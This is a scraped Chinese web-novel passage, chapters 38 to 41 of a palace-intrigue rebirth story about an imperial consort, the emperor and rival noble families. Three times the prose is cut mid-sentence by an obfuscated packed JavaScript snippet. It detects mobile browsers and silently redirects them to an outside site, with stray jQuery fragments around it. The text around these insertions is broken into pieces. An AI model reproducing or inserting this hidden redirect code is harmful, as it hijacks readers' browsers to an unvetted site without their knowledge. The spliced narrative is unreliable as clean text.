平心而论,鞠衣固然没有做错,但对方到底是贵妃侄女,孙家在朝中虽无实权,但国舅的地位毕竟摆在那里,闻雪英并不想与孙家结怨。 她心想靖渊和贵妃不是那种不明是非之人,但牵扯到国舅家,总得给靖渊和贵妃一个能将此事轻轻揭过的台阶,这个台阶,便由她来给吧。 去南风殿的路不是很远,不到一刻钟也就到了。 靖渊果然还在南风殿,大门里外都站着随行的侍卫和宫人。 简短说明来意之后,守门的太监进去通传,不多时,许望筌出来了。 他看到闻雪英这一身装束,不由得一愣,惊讶道:“闻贵人,您这是做什么?” 闻雪英眉宇间透露着恰到好处的愧意,她缓缓道:“鞠衣今日冒犯了贵妃娘娘的侄女,犯了大不敬之罪,她此前是我的贴身侍女,如今她犯错,也是我平日管教不当的缘故,因此我特意带着她前来向贵妃娘娘请罪。” 许望筌顺着她的话朝她身后的鞠衣看去,鞠衣脸颊的红肿实在明显,即便院子里光线昏暗,许望筌还是一眼看到了,着实令人胆战心惊。 他叹息一声道:“孙小姐下手可真够重的,陛下和贵妃正在里头说话呢,贵人请请吧。” 闻雪英朝他微微颔首,客气道:“多谢许公公。” 进去的时候,靖渊正和贵妃面对面坐在暖阁里,两人面前的案几上堆着一堆字画。 听到脚步声,靖渊和贵妃同时将视线转了过来,闻雪英的淡妆素裹,鞠衣红肿的脸颊,靖渊和贵妃皆是一眼瞧见,然而靖渊只是默不作声地看了一眼便转过头去,贵妃却心疼道:“竟伤的这么严重,都是我的罪过。” 闻雪英连忙跪下,将与许望筌说过的话又重复了一遍,末了深深一拜,诚恳道:“还请贵妃娘娘责罚。” 鞠衣也跟着道:“求贵妃娘娘责罚。” 孙贵妃下了地,弯腰亲自将闻雪英扶起,又示意旁边的宫女将鞠衣也扶了起来。 她拍了拍闻雪英的手,苦笑道:“闻贵人说这话可是叫我惭愧了,今日之事,全是淑仪的错,且鞠衣并没有伤到淑仪,反倒是鞠衣,我瞧着这脸上的红肿没个三五日,怕是消不下去。” 她叹了口气,接着道:“你放心,鞠衣也是为了保护我,我不会怪罪鞠衣。” 贵妃神情认真严肃,眼底一片赤忱,闻雪英暗暗舒了口气,然而面上仍旧含着谦卑恭顺:“多谢娘娘宽恕,不知孙姑娘现下还在不在宫中,无论如何,今日之事,鞠衣该亲自向孙姑娘致歉。” 孙贵妃摆了摆手,又坐了回去,她一脸无所谓地道:“不必,今日本就是她不知礼数,在宫里大吵大闹,我已经派人将她送回家中了。” 她将案上靖渊已经看过的卷轴一一卷折起来,似乎想到了什么,片刻后道:“不过,她出手如此没轻没重,鞠衣算是我的救命恩人,如今她好好的一张脸因为淑仪伤成这样,是我和孙家管教不严的缘故。” 闻雪英面露惶恐,刚要开口,贵妃抬手止住,沉吟半晌后,贵妃唤来自己的贴身侍女凌香,吩咐道:“派人传话回去,就说国公嫡女飞扬跋扈,行事无状,传我的命令,叫她明日就收拾香囊搬到静安寺里,住上三五个月,好好静一静心,磨一磨性子。” 凌香脸上有为难,她犹豫着道:“娘娘,孙小姐只怕会不依啊。” 她是打贵妃尚未嫁给陛下时就伺候在贵妃身边了,对于孙淑仪的秉性也是了解的一清二楚,孙淑仪锦衣玉食惯了,静安寺中地处深山,几乎是个与世隔绝的所在,日子清苦,她绝对受不了。 再者,国舅和国舅夫人膝下唯有着一个女儿,他们也不会坐视女儿被送到佛寺里去。 凌香觉得这差事不太好办,谨靠贵妃口谕国舅府的人未必会听。 孙贵妃自然也知道孙淑仪什么德行,这孩子小的时候也是曾在她怀里哇哇大哭过,孙贵妃打心底里还是将她当做自己的孩子疼着的,谁知道这些年自己在宫里,这孩子会被她的父母养成如今这副不知天高地厚的样子。 她总还念着一丝姑侄之情,不愿对她太过苛责,可仔细一想,她都敢当着她的面对陛下耍心机,今日又因为没能入选而对她这个姑母言辞不敬,还想对她动手,行径恶劣简直令人发指。 长此以往下去,保不准她会闯出更大的祸来。 深思熟虑之后,孙贵妃看向始终沉默的靖渊,问道:“陛下,可否劳烦陛下身边的黄公公走一趟臣妾娘家?” 黄公公平日负责 出入宫廷,向京中各个官员传达靖渊的命令和赏赐,黄公公出面,也就意味着一切都是靖渊的意思。 今日这事,说白了是后宫之事,靖渊原本只想交给贵妃处置,但仔细一想,孙淑仪行事不端,总与孙国舅脱不了干系。子不教,父之过,孙国舅怎么也该担一个疏于管教的罪名。 靖渊深知孙家的人没有做官的本事,因此这些年,他不曾给与孙家重权,又对其平日的行事睁一只眼,闭一只眼,但这总归不是个长久之计。 孙家不止是他的岳家,亦是桓洲的外祖家,将来万一他决定让桓洲继承大统,这样一个外祖家,只怕会给桓洲许多掣肘。 是该对孙家有所敲打了,他不期望孙家一日之间就成为国之栋梁,起码得收敛收敛行事不知分寸的作风。 这么想着,靖渊朝外喊了一声,黄公公很快就躬身走了进来:“陛下有何吩咐?” 靖渊道:“贵妃有事吩咐你。” 黄公公转向孙贵妃,孙贵妃于是将吩咐凌香的话又嘱咐黄公公一遍,黄公公应了声是,正要出去,靖渊这时又补充了一句:“若孙家小姐不愿去静安寺清修三个月,那就让她剃发为尼,今生今世都住在静安寺吧,另外,国舅教女无方,罚俸三个月。” 靖渊语气平淡地吩咐完,便挥手让黄公公下去了。 闻雪英在一旁听着,突然就有些后悔今夜过来了,她本意是想着尽快平息此事,没想到她这一推手,陛下和贵妃联合起来罚了孙淑仪,还没放过孙国舅。 她有些担心此举会让孙家自此记恨上他们闻家,虽然孙家未必做得了什么,与人结仇总归不是她所愿。 但靖渊金口一开,孙贵妃也欣然接受,闻雪英也不好再说什么。 她适时地开口:“那么臣妾就先告退了,至于鞠衣,以后还请贵妃娘娘多加教导。” 孙贵妃又看了眼靖渊,见他继续沉默,便微笑着点点头,又吩咐凌香带鞠衣下去休息。 闻雪英行礼后缓缓往外退去,靖渊却突然出声:“时候不早了,朕先走了,贵妃早些安歇吧。” 孙贵妃下地行礼:“恭送陛下。” 靖渊开始往外走,闻雪英却愣在了原地,不知该等他走远后自己再走,还是现在就跟上去。 她正踟蹰不前,走到门口的靖渊停下脚步回过头,悠悠道:“贵妃要就寝了,你还不打算走吗?” “……臣妾告退。”闻雪英朝着孙贵妃拜了拜,只好跟上了靖渊。 出了南风殿大门,靖渊没有坐辇轿,负手缓缓地走着,闻雪英便低头在他身后跟着。 “你很会演戏。”靖渊突兀的声音响起,打碎了夜晚的静谧。 闻雪英闻言一愣,继而脊背不由生出一股寒凉之感,她微微抬眼,看了眼靖渊的后背,又垂下眼睑,疑惑道:“陛下的话,臣妾听不明白。” 靖渊嘴角挂着笑意,淡淡道:“不明白吗?” 闻雪英咬了咬唇,小声道:“还请陛下明示。” 靖渊似乎是冷笑了一声,接着道:“你今夜这幅样子来南风殿,难道不是在做戏?” 打从他召见自己的那回,闻雪英就清楚的意识到,在靖渊面前,她的某些心思根本无法掩藏,他能看透自己的一举一动,闻雪英并不觉得奇怪,只不过,他最多也只能看透她想要什么,看不透她为什么要如此。 心念转了又转,闻雪英抬起了头,神情尽显无辜:“陛下,孙小姐不仅是贵妃侄女,还是国舅爷和周国公的女儿,臣妾的侍女不小心推了她,臣妾带她来请罪,难道做错了吗?” 靖渊停下脚步,回头看向她,眼前的女子长发如瀑,双眼炯炯有神地望着他,明明是无辜示弱的语气,靖渊还是从她的眼底看到了一丝倔强。 “不说这个了。”靖渊轻轻一笑,转身继续往前走,“朕有另外一件事想要问你。” 闻雪英好奇道:“陛下请问。” “你跟桓宇是不是认识?” 他这一问,闻雪英心中顿时警铃大作,她心下一凛,脑中高速运转起来。 靖渊突然问她是不是与靖桓宇相识,多半是听到了什么风声,亦或是查到了什么,她仔细想了想,今生她与靖桓宇之间的关系,顶多只能算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13957941|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得上相识,靖渊顶多只能查到她和靖桓宇曾经私下里见过几次,但那说明不了什么。 如今世人并不过分注重男女大防,民间多有志趣相投的男女互为挚友,就算她跟靖桓宇认识那又如何? 想通这层,闻雪英渐渐镇定下来,她深吸一口气,坦然道:“回陛下,臣妾是与魏王殿下认识。” 相识的过程也没什么好隐瞒的:“约莫半年前,臣妾自宁州回京,到了京外的驿站时天色已晚,京中城门已下钥,臣妾不得已只好在驿站借住一晚,岂料半夜遇到了一伙山匪……” 如今想到那夜的情形,闻雪英仍旧觉得胆战心惊,她的声音不由自主带了颤意:“那伙山匪人数众多,臣妾身边的护卫力有不敌,鞠衣和琥珀也有些应接不暇,眼看着山匪的刀就要落到臣妾脖子上了,恰巧这时魏王殿下也到了此处,若不是魏王殿下,臣妾恐怕早就命丧黄泉了。” 她此刻后怕的神情不是作假,于是靖渊再度停下脚步,神情认真地听她说完,见她浑身似乎止不住地颤抖,靖渊沉默了一瞬,抬起手在她肩头轻轻拍了拍,和声道:“没事了。” 不过,京外的驿站,距离城门也就二十里地,皇城脚下,哪里的山匪如此大胆,敢夜袭驿站?靖渊若有所思,觉得这事定然也没那么简单。 闻雪英回过神来,骤然发现不知不觉间,他们竟然已经走到了长乐宫外,靖渊的养居殿还要走上一会儿才到,似乎此刻是一个邀请靖渊去长乐宫的大好机会。 沉思了几息,闻雪英鼓起勇气道:“陛下,已经很晚了,不如去长乐宫坐坐?” 靖渊淡淡道:“好啊。” 没想到他如此爽快地应下,闻雪英突然有些后悔了,但话都说到这份上了,除了坦然面对也没有别的法子了。 长乐宫的下人们照旧是一通忙碌,这回闻雪英先沐浴更衣。 琥珀、芸儿、郑如潇三个人服侍她,本该用不了多长时间就洗漱好的,但闻雪英却是下意识地在拖延,郑如潇几次要拿浴巾替她擦拭,闻雪英都摇头拒绝。 芸儿忍不住道:“贵人,不能让陛下等太久,万一陛下生气了该如何是好?” 闻雪英心想靖渊不会为这种小事生气吧? 但她在浴桶里待的时间确实很久了,水温都凉了,再不出去也不行了。 擦拭了身体换上寝衣,闻雪英忐忑地向外走去,却见自己的卧室内空无一人。 原本靖渊是坐在临窗的榻上看书的,此刻那本书被放在榻上的案几上,却不见靖渊本人。 芸儿“咦”了一声,疑惑道:“陛下呢?” 话落她也不知是脑子里哪根弦搭错了,竟跑去将墙角的衣柜打了开来,仿佛靖渊会藏在那里似的。 闻雪英见她如此,“噗嗤”一声笑了出来,琥珀和郑如潇也笑了出来。 “傻芸儿,陛下已经离开了,你别翻衣柜了。”透过纱窗,闻雪英见原本在屋檐下站着的几个御前侍卫已经不在了,他们都是靖渊走哪儿跟在哪儿的,他们不在,想必靖渊已经离开了长乐宫。 闻雪英虽不奢望靖渊今晚一定要留下,但他不说一声就离开,她心底不可抑制地生出了一丝屈辱,脸上微微发白。 心中气闷,闻雪英的脸色也不好,郑如潇含笑宽慰道:“贵人不必伤心,奴婢托人问过了许公公,他说陛下喜食咸辣之物,改明儿贵人不妨从这上头想想办法。” 闻雪英嘴角僵硬地扯了扯,略微点了点头。 这时,许高义在外头敲了敲门,闻雪英深吸一口气道:“进来!” 许高义进来后就发现殿内的气氛不太对,尤其贵人的脸色,铁青僵硬,很是难看,他回话都多了几分小心翼翼:“回贵人的话,贵妃娘娘的南风殿,似乎是又出事了,陛下接到消息,已经匆匆赶过去了。” 闻雪英一惊,道:“是贵妃娘娘那出事了?” “是,奴才听到的的确是这样。” 闻雪英蹙了蹙眉,再次道:“可知道具体是什么事吗?” 许高义摇了摇头,“这奴才就不知了,不过陛下临走时让奴才转告贵人,明晚召贵人到养居殿侍寝。” “……哦,我知道了,你们都退下吧。” 连着两次了,靖渊打算留宿长乐宫时,贵妃的南风殿就出事,继而引走靖渊,这未免也太巧了。 看来改日她得寻个机会问问鞠衣,看看可曾在南风殿发现什么秘密。 39. 第 39 章 如今已是开了春的季节,天气还没彻底暖和起来,老天总是会不分昼夜地刮起风来,夜半的时候,闻雪英被外头呜呜咽咽的风嚎吵得久久难以入眠。 翌日晨起梳妆的时候,许高义进来向她回禀打听到的消息。 一夜过去,南风殿的守卫悉数被下了狱,宫中禁军统领蒙青也被杖责了五十大板,且靖渊还下令撤了他禁军统领的头衔,一切皆因昨夜宫中又出现了不明身份的刺客。 刺客的目标依然是南风殿,南风殿虽无人受伤,但刺客还是同上次在南风殿中纵火的贼子一样,在禁军眼皮子底下逃之夭夭了。 靖渊脾气再好,这回也忍不住龙颜大怒。他的怒气需要一个宣泄口,值守不力的南风殿守卫和禁军统领蒙青自然要遭殃,不过刺客能在宫禁来去自如,蒙青与那些守卫怎么都得担上一个失职之罪。 闻雪英觉得,靖渊暂且还留着他们的命,已经是格外开恩了,不过她也是想不明白孙贵妃究竟是得罪谁了,连着上次的失火,这已经是南风殿第三次出事了。 闻雪英戴上耳环,随口问道:“现在禁军统领换成谁了?” 许高义回道:“陛下下令,由原来的副统领苗蒲河暂时接替正统领一职。” “苗蒲河……”这个名字,似乎有些熟悉,闻雪英低声默念了两遍,脑中突然电光闪过,手上的茶盏脱手,掉在地上摔得四分五裂。 各自忙碌的琥珀和芸儿等人连忙围了上来,查看她有没有被伤到。 芸儿利落地将碎片扫走;琥珀见她衣摆被茶水浸湿,拿着帕子替她擦了擦;郑如潇见她面色一瞬间变得有些不自然,担忧道:“贵人,您没事吧?” 闻雪英回过神来,对着她们笑了笑,道:“我没事,不小心手滑了。” 顿了顿又嘱咐道:“宫里出了这样的事,你们最近也要多加小心,无事就不要在宫中乱走动了,以免惹得陛下烦心。” “是。” * 宫中无太后皇后,闻雪英不必晨昏定省,用过早膳便借口疲累,让其他人都退了出去,只留琥珀在身边伺候。 琥珀扶着她进了暖阁,这才关心道:“小姐,您方才是怎么了?” 闻雪英心事重重,琥珀问第二遍她才有所反应。 “刚才,许高义说,陛下让苗蒲河接任禁军统领一职,这苗蒲河,似乎是魏王的人。” 前世靖桓宇登基后,所做的第一件事就是撤换整个宫禁防卫要职,统统换上了自己的人,其中担任禁军统领之人,就叫苗蒲河。 如今蒙青被撤职,苗蒲河上位,这事怕是与靖桓宇脱不了干系。 他可真是好本事,手都已经伸到宫里来了。 闻雪英不觉汗毛倒竖,下意识抱紧了自己,琥珀见她发抖,扯了件衣裳给她披上。 她不解道:“小姐怎么知道那苗蒲河是魏王的人?” 闻雪英看了琥珀一眼,话到了嘴边又咽了回去。 关于她重生的事,她已经告诉过鞠衣了,但却迟迟不曾向琥珀提过只字片语。 琥珀对她的忠心不亚于鞠衣,只是她心思单纯,又心直口快,闻雪英暂时还不敢告诉她。 她岔开话题道:“近日天气回暖,鞠衣昨夜回来,我瞧她还穿着冬日的衣裳,你下午收拾几件她的衣裳送到南风殿,顺便瞧瞧她脸上可消肿了。” 琥珀“嗯”了声,服侍闻雪英睡下后,便拿了鞠衣的几件衣裳往南风殿而去了。 闻雪英昨夜没睡好,此刻虽感到困倦,可真躺到了床上,却翻来覆去怎么也睡不着。 窗户开着,有床边帷幔上的穗子随着微风来回晃动,晃的闻雪英心烦意乱。 她不由想起近日来发生的所有事情…… 先是亳州的孙家老宅莫名失火,烧死了老周国公夫妇;接着前去亳州筹办丧事的孙国舅一行险些被人杀害,与此同时,宫中的孙贵妃也遭遇了刺杀;这还没完,前几日贵妃宫中发生不明黑影纵火事件,昨夜再度出现刺客,这一件接着一件,显然针对的都是孙家。 又或许,其实针对的是大皇子靖桓洲,如今的燕王陛下。 若说谁最有可能针对靖桓洲,除了靖桓宇没有别的人选,但,除去毫无权势的孙家,除了能让靖桓洲悲痛难过掉几滴眼泪外,到底还是难以动摇靖桓洲的根基。 靖桓洲的根基在于他执掌兵权的公主姐姐,孙家说白了,于靖桓洲没有半分助益,某种程度上,除去孙家,于靖桓洲而言,反而是替他除去了一桩麻烦,如此,靖桓洲的身世,便再无人知晓了。 靖桓洲的身世……想到这,闻雪英倏然坐了起来,脑中似乎有什么东西一闪而过,但她还没来得及深思,外头宫人打扫卫生的响动打乱了她的思绪,闻雪英银牙紧咬,眉心闪过一抹戾气。 怒斥的话语几乎到了嘴边,她又强迫自己咽了回去,使劲闭了闭眼,掩饰住眼底的烦躁。 方才脑中的闪过的念头已经消失不见,闻雪英强迫自己先将脑海中混乱的思绪驱逐,令自己入睡。 今晚还得去养居殿,到时候能不能入睡还是个问题,还是趁着有时间尽快补眠吧。 * 宫外,诚国公府,曹氏带着一双儿女,来给赵越请安,赵越顺便考了考赵英和赵佳的功课,赵英赵佳应答如流,尤其赵佳才十岁,《女则》、《女训》等教导女子恭谨柔顺的典籍已能倒背如流,赵越露出满意神情,看向赵英和赵佳的眼神里充满慈爱。 曹氏在一旁看着,脸上几乎乐开了花。 老爷前几日去了一趟魏王府,回来后突然就对她说,该请个夫子好好教导赵佳。赵越虽没说别的,但曹氏心思细腻,她嗅到了一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972286|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好事即将降临的气息。 不多时,下人在偏厅备好了晚膳,来请他们过去。 一家四口便前往偏厅,赵越在正中的主位坐定,随后曹氏和赵英赵佳兄妹两也依次坐下。 赵越拿起碗筷,视线却定在对面无人的座位上。 曹氏观察着他的脸色,柔声道:“已经让下人去喊又岚了,想必她很快就到了。” 话落曹氏的侍女从外头走了进来,小声道:“老爷,夫人,大小姐说想早些休息,就不过来一起用晚膳了。” 话落原本其乐融融的饭厅似乎是一瞬间冷了下来,赵越重重放下碗筷,沉声道:“真是越来越不像话了!” 曹氏伸手抚了抚赵越的后背,含笑劝道:“老爷您别动怒,您和两个孩子先用着,妾身去看看又岚去。” “不必,由着她去!”赵越皱眉,抬手示意曹氏坐下,“要做什么由着她去。” 曹氏没有坐下,她朝着赵佳递了个眼色,赵佳会意,伸长胳膊夹了赵越最爱吃的一道菜放进他面前的碗中,脆生生地道:“爹爹,别生气,女儿昨日去长姐院中,见她一整日都在跟着宫里来的嬷嬷学规矩,女儿好奇跟着学了片刻,直觉宫里的规矩当真是累人,想来长姐是累坏了,您就别和长姐置气了。” 小女儿娇娇嫩嫩的嗓音传进赵越耳中,赵越的火气渐渐消散。 “你姐姐要是有你一半懂事就好了。”赵越摸了摸赵佳的脑袋,抬了抬下巴示意曹氏坐下。 “既然她不想来,就不必勉强了,咱们先用。”赵越开始动筷,依次给赵英赵佳碗中夹去了他们爱吃的菜,继而叮嘱赵英:“你如今正是长身体的时候,多吃些。” 又叮嘱赵佳:“佳佳你也多吃点,最近上学累着了吧?” 赵佳摇了摇头,细声道:“女儿不累,女儿最近跟着于先生学到了许多有趣的知识。” 于先生是京中小有名气的女夫子,赵越前几日将她请到国公府,让她当赵佳的师傅。 赵佳其实并不爱读书,只是娘告诉她,只要她按着爹爹的意思行事,或许她将来能够收获意想不到的惊喜。 赵越看着赵佳,眼底的慈爱欣慰几乎要溢了出来。 偏厅外,无人的拐角处,赵又岚看着里头的一幕,嘲讽地一笑,随即转身头也不回地离开。 王氏叹了口气,疾走两步跟上,她心疼地安慰赵又岚:“小姐别伤心,国公爷心里还是有你的。” 顿了顿又恶声道:“一定是曹氏那个贱人挑唆。” 赵又岚冷笑,“曹氏没有将刀架在赵越的脖子上,所以这一切,都是赵越自己的意思。” 王氏欲言又止,无可反驳,只得干巴巴地重复:“小姐别难过……” 赵又岚并不难过,也并不失望,她和赵越的父女情谊,三日前就已经彻底断绝了 40. 第 40 章 赵又岚转身离去,厅内的交谈声仍未停歇。 曹氏见赵越神色缓和不少,沉吟片刻,试探着开口:“老爷,选秀的结果出来也有半个月了,宫中册封的旨意却一直未下,陛下该不会是要反悔吧?” 赵越斜睨她一眼,嗤笑道:“陛下是天子,金口玉言,岂有说变就变的道理,你个深宅妇人懂什么?” 曹氏尴尬一笑道:“是妾身糊涂了。” 她顿一顿,又装作担忧道:“那么,不陛下会给又岚一个什么位分?咱们家又岚人长得俊俏,行事也聪颖大方,不说一下子位及妃位,怎么也该比那闻贵人要高上些吧?” 赵越已经吃得差不多了,闻言就放下筷子,缓缓道:“那日早朝后,陛下特召我与其他几名秀女的父兄到养居殿,问了问我们几人对两位皇子的看法,陛下虽没明说,但我瞧着,这六个秀女,陛下应当都是要赐给两位皇子的。” 曹氏神色微微一变,转瞬间又恢复如常,她笑了笑道:“那真是太好了,又岚年纪轻轻的,若是委身于陛下,妾身还真有些为她可惜呢。如此一来,老爷岂不是也能如愿了,您不是一直都想让又岚嫁给魏王殿下为妻么?只是又岚的脾气倔,老爷还是得好好跟她谈谈,以后入了魏王府,可就要做魏王的贤内助了。” 说到这事,赵越的脸色又沉了下来,他冷哼道:“如今就算是她愿意嫁于魏王,魏王也不见得愿意要她了。” “这是为何?”曹氏一听这话,心中一惊,不由紧紧攥紧手里的锦帕。 她下意识看一眼正坐在那小口喝汤的赵佳,担忧道:“难道又岚哪里冲撞了魏王殿下?” 赵越没有回答这个问题,他起身径自离去,临走时只淡淡撂下一句:“不该问的别问。” 看着赵越毅然离开的背影,曹氏嘴角的笑有些僵硬,她虽和赵越成亲多年,又为他生下一对儿女,但她心里清楚,赵越对她其实没有多少夫妻之情。 旁人只见她是诚国公夫人,风光无两,但这内里的心酸别人未必知道。 但回头看到自己的一双儿女,她便又释然了。 赵越这个老不死的心里有没有她都不要紧,要紧的是赵英和赵佳。 诚国公府上还有几房姬妾,但她们都不曾为赵越生下孩子,赵英是赵越唯一的儿子,将来这国公爵位,必是由赵英承袭。有儿子作为依靠,曹氏一点都不担心自己的将来。 再说赵佳,赵越刚刚已经说了,魏王不一定会愿意要赵又岚,魏王如今不过十七岁,等再过上五年,赵佳长成,如果赵又岚没有嫁给魏王,那么赵越必定要想法设法将赵佳嫁进魏王府。 五年的时间,说慢很慢,说快却也是眨眼之间,说不定到了那个时候,魏王便不再是魏王了。 曹氏心里这样想着,方才赵越的忽视带给她的不快已经一扫而光了。 她温柔地看着赵越和赵佳,只觉得未来的路一片光明灿烂。 * 赵越回了书房,关上门,他没有让下人掌灯,只一个人坐在黑暗里,接着从怀中掏出一枚小巧玲珑的玉雕,放在手心里细细摩挲。 这小小一块玉石,被工匠巧妙地雕刻成了雄鹰的形状,用的是独产自闽州的寿山玉。 这块小玉雕,赵越很多年前就见过,常鹰以前将它当做吊坠带在颈上。后来常鹰去世,这东西他没再见过,直到前几日,魏王遣人叫他入府相见,他去后,魏王将这枚玉雕交给他。 起初赵越自然是不敢接的,玉雕是常鹰的遗物,更是仁献皇后的遗物,他一个臣子,怎敢私藏先皇后遗物,亵渎先皇后? 在魏王面前,赵越还不敢透露一丝对常鹰的情谊,他恭敬道:“殿下,臣眼拙,这似乎是仁献皇后的遗物,臣万万不敢领受。” 靖桓宇微微笑着,和声道:“诚国公,你看看这玉雕的底部。” 底部?赵越愣了愣,迟疑着从靖桓宇手中接过玉雕,翻看玉雕的底部。 底部似乎是有一个字,很小的字。 赵越将玉雕拿远又拿近,又走到门口借助外头的亮光,眯着眼睛细细辨认,终于认出那字来。 是个“越”字,他迟迟难以辨认,是因为那字的刻痕有部分已经快要被磨平了,显然是有人时时拿在手中摩挲把玩。 赵越心神激荡,脸色一瞬间涨得通红,他回头望着靖桓宇,嘴唇颤抖着说不出话来。 靖桓宇缓缓道:“前些日子闲来无事,便去整理我娘的遗物时,这才发现这玉雕底部还刻着一个字,又想到您和我娘的过往,我想这玉雕,应该交给你保管。” “……”赵越不知道该说什么,理智告诉他该推辞的,但推辞的话到了嘴边却被他下意识地咽了回去。 靖桓宇将他的神色变化看在眼里,他垂下眼皮,眼底原本不宜察觉的担心渐渐褪去,换上了成竹在胸之色。 这玉雕,的确是仁献皇后的遗物,但底部的“越”字,却不是她所刻凿,乃是仁献皇后的心腹丫鬟陈氏所刻。 当年仁献皇后去世后,陈氏便一直留在靖桓宇身边照顾他,仁献皇后的遗物,靖桓宇也多交给陈氏保管。 半年前,陈氏得了重病,医治无效,临终前将这些遗物交还给靖桓宇,陈氏特地拿出这寿山玉雕嘱咐他:“殿下,这玉雕是属于您的母亲,仁献皇后的,当年她受了重伤,自知存活无望,临终前便命我在这玉雕底部刻一个''越''字,这些年我日日将其带在身边,底部的刻痕虽有磨损,但还是能辨认出来的。主子让奴婢告诉您,有这个,便可令诚国公赵越死心塌地效忠于您,主子命苦去的早,只希望这玉雕能帮上您的忙。” 靖桓宇回想着陈氏的话,眸中有片刻的温暖。这是娘留给他的东西,他必定好好利用,不让娘的一片苦心白费。 他起身,走到赵越面前,低声道:“我想,我娘她应该也是想让诚国公留着这玉雕的。” 赵越欲言又止,最终跪了下去,朗声道:“臣,多谢魏王殿下赏赐。” 靖桓宇抬手道:“诚国公请起。” 靖桓宇和赵越说了几句有关朝政的话,接着靖桓宇突然道:“前两日,本王约了几个朋友去城外骑马,没想到碰见了令爱与皇兄。” 他这一句话,赵越心里的激动雀跃霎时变成惶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997443|137652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恐,魏王的语气平静,听不出喜怒,赵越咂摸半天没明白他是生气还是不生气。 他暗暗将赵又岚骂了一番,连忙解释道:“应该只是偶然与燕王殿下相识罢了。” 靖桓宇挑眉,“听诚国公的话,似乎是不知道令爱最近常与皇兄私下见面?” 赵越自然是知道,但是他管不了,赵又岚这段日子越发的冥顽不灵,他说的话她一概不听,再者,她一直住在杨府,他有心管教,也是鞭长莫及。 没想到这事终于还是被魏王殿下知道了,他斟酌着解释的话语,靖桓宇却淡然道:“明日选秀的结果就要出来了,我之前听孙母妃说过,父皇同意这次选秀,主要还是为了替我和皇兄选王妃,以令爱的资质,入选是必然的,只是不知道父皇会将她赐给我,还是赐给皇兄。” 赵越道:“臣可以私下里找陛下说一说。” 赵越自信,以他和陛下曾经一同出生入死的关系,陛下一定会答应他的请求。 靖桓宇没有回应,他沉默半晌,随即叹口气道:“可观令爱与皇兄相处的情形,只怕令爱对皇兄已是情根深种,我若横刀夺爱,将来恐与令爱成为一对怨侣,我娘在天有灵,想必也是希望我能娶一个心中真正在意我的女子为妻的。” 赵越虽是个武将粗人,但他并不蠢,魏王字里行间都在向他暗示,他不愿娶又岚。 不愿娶也就罢了,只是总不能让又岚嫁给燕王吧。他是坚定不移的魏王党,将女儿嫁给燕王,那不意味着要他舍弃这个女儿? 赵越不解,疑惑道:“殿下的意思是?” 靖桓宇深深叹了口气,语重心长地道:“诚国公,本王不敢说,咱们所谋之事,将来一定能够心想事成,万一失败呢?” 赵越愣住,他倒从未想过这个可能性。 靖桓宇道:“万一咱们不幸失败,皇兄若是要对你我痛下杀手,有令爱在他身边言说一二,说不定能保得你我性命,诚国公你说是不是?” 赵越迟疑着点了点头,眉心间仍有一抹疑虑。 靖桓宇接着道:“你放心,若将来败的人是皇兄,我也向你承诺,令爱必然会毫发无损。” 靖桓宇见赵越表情有所松动,继续承诺:“事成之后,我的皇后之位,自然是留给赵家女子的,你不是还有一个女儿吗?” 靖桓宇的话,轻而易举就说服了赵越,的确,若是让又岚嫁给魏王,他还真有些担心她会对魏王不利。 深思熟虑之后,他觉得魏王的提议很有道理。 于是几日后陛下询问他对两个皇子的看法时,赵越并未针对两位皇子本身发表什么意见,只是暗示了又岚与燕王相熟一事。 如今只希望陛下的册封旨意,能如他们的愿,如此,也算是如了又岚的愿了。 思绪回拢,赵越将玉雕装进怀中。他不是看不出,魏王此时将这玉雕交给他,归根结底是想让他更加死心塌地地效忠他,其实他不给这玉雕,赵越也从未想过背叛魏王。 这条路,许多年前他就已经坚定不移地踏上了,未来他也会坚定不移地陪着魏王走下去,无论终点是什么。 41. 第 41 章 去养居殿侍寝不同于在长乐宫等着靖渊驾临,闻雪英一早就准备好,到了戌时,养居殿就来人接她了。 这回来的是养居殿的女官,正是上次领她去见靖渊的江一宁。 闻雪英稍作打扮,跟着江一宁前往养居殿。 长乐宫外候着一顶辇轿,江一宁躬身道:“陛下特赐贵人辇轿,贵人请” 闻雪英语道谢恩,接着提起裙摆坐上了辇轿。 养居殿离长乐宫实在近,不到一刻钟的功夫也就到了。 江一宁领她进了养居殿的东室,随即轻声道:“陛下还在西室批阅奏折,您在这儿先坐会儿,奴婢先去准备着,一会儿伺候您和陛下一道用膳。” 